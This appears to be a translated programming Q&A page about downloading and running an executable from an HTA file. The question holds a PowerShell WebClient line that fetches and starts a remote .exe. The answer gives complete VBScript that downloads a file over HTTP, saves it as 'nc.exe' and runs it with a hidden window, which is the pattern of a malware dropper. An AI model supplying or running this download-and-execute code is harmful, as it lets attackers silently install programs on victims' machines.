Question

我试图使用hta下载并打开文件。

我试过以下代码没有运气。

<script>
a=new ActiveXObject("WScript.Shell");
run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus)
</script>

有人可以帮助一些不错的事 THX。

我收到以下错误。 Script Error Image

当我单击是时，它只显示一个空白的hta控制台。

Answer 1

为什么不使用正常的Get / Post请求，保存文件然后执行它？

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set Shell = CreateObject("shell.application") 

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
Params = "-param1 -param2" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2

Shell.ShellExecute FILENAME , Params , "" , "" , 0

获得了http://www.mikemurr.com/vbscript-download-and-execute-file/的大部分代码由于HTA不是纯粹的vbscript，所以会有一些改变。

使用HTA下载并执行

1 个答案: